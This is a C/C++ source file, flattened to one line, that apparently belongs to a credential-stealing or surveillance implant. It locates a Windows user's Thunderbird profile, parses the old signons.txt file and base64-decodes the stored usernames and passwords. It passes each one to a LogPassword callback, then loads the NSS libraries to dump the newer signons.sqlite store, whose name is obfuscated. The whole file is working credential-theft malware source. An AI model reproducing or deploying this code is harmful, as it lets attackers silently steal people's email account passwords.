#define _CRT_SECURE_NO_WARNINGS 1 #include #include #include #include #include "base64.h" #include "..\common.h" // callback for the password extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass); extern int DirectoryExists(WCHAR *path); extern int InitFFLibs(WCHAR *); extern int InitializeNSSLibrary(WCHAR *); extern void NSSUnload(); extern int DumpSqlFF(WCHAR *profilePath, WCHAR *signonFile); extern WCHAR *DeobStringW(WCHAR *string); // Function declarations.. WCHAR *GetTBProfilePath(); #define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0); extern WCHAR *UTF8_2_UTF16(char *str); // in firefox.cpp int Decrypt(CHAR *cryptData, WCHAR *clearData, UINT clearSize) { int decodeLen = 0; int finalLen = 0; char *decodeData = NULL; WCHAR *finalData = NULL; std::string b64Data = cryptData; std::string b64DecData; if (cryptData[0] == NULL ) return 0; b64DecData = base64_decode(b64Data); finalData = UTF8_2_UTF16((char *)b64DecData.c_str()); wcsncpy(clearData, finalData, clearSize); SAFE_FREE(finalData); return 1; } int DumpTB(WCHAR *profilePath, WCHAR *signonFile) { WCHAR signonFullFile[MAX_PATH]; char buffer[2048]; int bufferLength = 2048; FILE *ft = NULL; struct tbp_entry { WCHAR service[64]; WCHAR resource[255]; WCHAR user_name[255]; WCHAR user_value[255]; WCHAR pass_name[255]; WCHAR pass_value[255]; } tbentry; memset(&tbentry, 0, sizeof(tbentry)); if ( profilePath == NULL || signonFile == NULL) return 0; _snwprintf_s(signonFullFile, MAX_PATH, L"%s\\%s", profilePath, signonFile); if ( (ft = _wfopen(signonFullFile, L"r")) == NULL ) return 0; fgets(buffer, bufferLength, ft); // Read out the unmanaged ("Never remember" URL list while (fgets(buffer, bufferLength, ft) != 0) { // End of unmanaged list if (strlen(buffer) != 0 && buffer[0] == '.' && buffer[0] != '#') break; } // read the URL line while (fgets(buffer, bufferLength, ft) != 0 ){ buffer[strlen(buffer)-1] = 0; //printf("-> URL: %s \n", buffer); swprintf_s(tbentry.service, 255, L"Thunderbird"); _snwprintf_s(tbentry.resource, 255, _TRUNCATE, L"%S", buffer); //Start looping through final singon*.txt file while (fgets(buffer, bufferLength, ft) != 0 ) { // new entry begins with '.' if (!strncmp(buffer, ".", 1)) { if (wcscmp(tbentry.user_name, L"")) LogPassword(tbentry.service, tbentry.resource, tbentry.user_value, tbentry.pass_value); memset(&tbentry.user_value, 0, sizeof(tbentry.user_value)); memset(&tbentry.user_name, 0, sizeof(tbentry.user_name)); memset(&tbentry.pass_value, 0, sizeof(tbentry.pass_value)); memset(&tbentry.pass_name, 0, sizeof(tbentry.pass_name)); break; // end of cache entry } //Check if its a password if (buffer[0] == '*') { buffer[strlen(buffer)-1] = 0; _snwprintf_s(tbentry.pass_name, 255, _TRUNCATE, L"%S", buffer + 1); fgets(buffer, bufferLength, ft); buffer[strlen(buffer)-1] = 0; Decrypt(buffer+1, tbentry.pass_value, 255); } else if (!wcscmp(tbentry.user_name, L"")) { buffer[strlen(buffer)-1] = 0; _snwprintf_s(tbentry.user_name, 255, _TRUNCATE, L"%S", buffer); fgets(buffer, bufferLength, ft); if (!strcmp(buffer, "~\n")) { // the username is inside the resource WCHAR *u; wcsncpy(tbentry.user_value, tbentry.resource, 255); if ((u = wcsstr(tbentry.user_value, L"://")) != NULL) { u += wcslen(L"://"); swprintf_s(tbentry.user_value, 255, L"%s", u); if ((u = wcschr(tbentry.user_value, L'@')) != NULL) *u = 0; } } else { buffer[strlen(buffer)-1] = 0; Decrypt(buffer+1, tbentry.user_value, 255); } } } } fclose(ft); return 1; } WCHAR *GetTBLibPath() { static WCHAR FullPath[MAX_PATH]; char regSubKey[] = "Software\\Classes\\Thunderbird.Url.mailto\\shell\\open\\command"; char path[MAX_PATH]; char *p; DWORD pathSize = MAX_PATH; DWORD valueType; HKEY rkey; // Open firefox registry key if( RegOpenKeyEx(HKEY_CURRENT_USER, regSubKey, 0, KEY_READ, &rkey) != ERROR_SUCCESS ) return NULL; // Read the firefox path if( RegQueryValueEx(rkey, NULL, 0, &valueType, (unsigned char*)&path, &pathSize) != ERROR_SUCCESS ) { RegCloseKey(rkey); return NULL; } if( pathSize <= 0 || path[0] == 0) { RegCloseKey(rkey); return NULL; } RegCloseKey(rkey); // get the path and then remove the initial \" if ((p = strrchr(path, '\\')) != NULL) *p = '\0'; p = path; if( *p == '\"' ) p++; if (!p) return NULL; _snwprintf_s(FullPath, MAX_PATH, L"%S", p); return FullPath; } WCHAR *GetTBProfilePath() { WCHAR appPath[MAX_PATH]; WCHAR iniFile[MAX_PATH]; WCHAR profilePath[MAX_PATH]; static WCHAR FullPath[MAX_PATH]; FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH); _snwprintf_s(iniFile, MAX_PATH, L"%s\\Thunderbird\\profiles.ini", appPath); FNC(GetPrivateProfileStringW)(L"Profile0", L"Path", L"", profilePath, sizeof(profilePath), iniFile); _snwprintf_s(FullPath, MAX_PATH, L"%s\\Thunderbird\\%s", appPath, profilePath); return FullPath; } int DumpThunderbird(void) { WCHAR *ProfilePath = NULL; //Profile path WCHAR *TBDir = NULL; //Thunderbird main installation path ProfilePath = GetTBProfilePath(); if (!ProfilePath || !DirectoryExists(ProfilePath)) return 0; // get the password for the old versions DumpTB(ProfilePath, L"signons.txt"); // get the password for the 3.1.x TBDir = GetTBLibPath(); if (!TBDir || !DirectoryExists(TBDir)) return 0; if (!InitFFLibs(TBDir)) return 0; if (!InitializeNSSLibrary(ProfilePath)) return 0; DumpSqlFF(ProfilePath, DeobStringW(L"9Z71519.9ByZLI")); //"signons.sqlite" NSSUnload(); return 0; } .